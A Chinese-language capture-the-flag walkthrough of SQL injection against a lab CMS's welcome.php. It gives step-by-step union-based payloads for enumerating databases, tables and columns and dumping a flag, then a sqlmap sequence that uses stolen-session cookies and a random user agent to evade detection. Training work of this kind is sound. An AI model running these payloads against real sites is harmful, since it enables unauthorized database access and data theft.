靶场提示:该CMS的welcome.php中存在SQL注入攻击。
注入点不仅在
eid
处!!!
(1)既然NVD说漏洞在welcome.php处,且参数为eid
,先注册账号。
(2)登录账号后,发现页面就是welcome.php。
(3)随便点一个action
,点点submit
,会发现url中的n参数会变。故,判断是否存在sql注入的payload:eci-2zef3tp09dhdta6qxsqy.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1‘&t=10
(单引号判断法)。
添加单引号后,页面报错,说明存在SQL注入。
知识点:在参数后面加
’
,无论是字符型还是数字型注入,都会报错。
(4)判断是数字型注入还是字符型注入,payload:http://eci-2zef3tp09dhdta6qxsqy.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20and%20%271%27%20=%20%271&t=10
http://eci-2zef3tp09dhdta6qxsqy.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20and%20%271%27%20=%20%272&t=10
知识点:
(1)判断为数字型注入:
- and 1=1(页面正常);
- and 1=1 (页面报错)。
(2)判断为字符型注入:- ’ and ‘1’='1(页面正常);
- ’ and ‘1’='2(页面报错)。
(5)判断有几列,payload:http://eci-2zef3tp09dhdta6qxsqy.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20order%20by%20%205%20--+%20%20#&t=10
。经判断,表存在五列。
知识点:使用
order by
时,必须保证其之前的语句为真。
(6)判断回显位置,payload:http://eci-2zeayli1t9q3yh3vsp64.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20union%20select%201,2,3,4,5--+&t=10
(7)数据库名,payload:http://eci-2zeayli1t9q3yh3vsp64.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20union%20select%201,2,database(),4,5--+&t=10
(8)表名,payload:http://eci-2zeayli1t9q3yh3vsp64.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20union%20select%201,2,(select group_concat(table_name) from information_schema.tables where table_schema='security'),4,5--+&t=10
(9)字段名,payload:http://eci-2zeayli1t9q3yh3vsp64.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20union%20select%201,2,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='flag'),4,5--+&t=10
(10)字段内容,payload:http://eci-2zeayli1t9q3yh3vsp64.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141b8009cf0&n=1%27%20union%20select%201,2,(select group_concat(concat(flag,'%23')) from ctf.flag),4,5--+&t=10
注入六连:
sqlmap -u "http://www.xx.com?id=x"
(查询是否存在注入点)--dbs
(检测站点包含哪些数据库)--current-db
(获取当前的数据库名)--tables -D "db_name"
(获取指定数据库中的表名 -D后接指定的数据库名称)--columns -T "table_name" -D "db_name"
(获取数据库表中的字段)--dump -C "columns_name" -T "table_name" -D "db_name"
(获取字段的数据内容)
注意:由于该页面采用了登录访问,所以首先想到要使用
–cookie
参数使得sqlmap绕过身份验证,并添加–user-agent
参数或–random-agent
使得sqlmap绕过客户端验证,否则可能会被识别到明显的sqlmap客户端标识,从而导致攻击的中断。如:
--cookie="PHPSESSID=k5854nfic1qngm5ul1vmb8pbma"
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"
(1)查询是否存在注入点,payload:sqlmap -u 'http://eci-2zec9sqs7bza66gw29ex.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=2&t=10 --cookie="PHPSESSID=vq98au2drskf8ltmkv230i719l" --random-agent
sqlmap爆破出:该站点存在两个注入点。
(2)检测站点包含哪些数据库,payload:sqlmap -u 'http://eci-2zec9sqs7bza66gw29ex.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=2&t=10 --dbs --cookie="PHPSESSID=vq98au2drskf8ltmkv230i719l" --random-agent
(3)获取当前数据库名,payload:sqlmap -u 'http://eci-2zec9sqs7bza66gw29ex.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=2&t=10 --current-db --batch --cookie="PHPSESSID=vq98au2drskf8ltmkv230i719l" --random-agent
--batch
:默认确认,不询问你是否输入。
(4)获取指定数据库中的表名。payload:sqlmap -u 'http://eci-2zec9sqs7bza66gw29ex.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=2&t=10' --tables -D "ctf" --batch --cookie="PHPSESSID=vq98au2drskf8ltmkv230i719l" --random-agent
(5)获取指定数据库表中的字段名,payload:sqlmap -u 'http://eci-2zec9sqs7bza66gw29ex.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=2&t=10' --columns -T "flag" -D "ctf" --cookie="PHPSESSID=vq98au2drskf8ltmkv230i719l" --random-agent
(6)获取字段的数据内容,payload:sqlmap -u 'http://eci-2zec9sqs7bza66gw29ex.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=2&t=10' --dump -C "flag" -T "flag" -D "ctf" --cookie="PHPSESSID=vq98au2drskf8ltmkv230i719l" --random-agent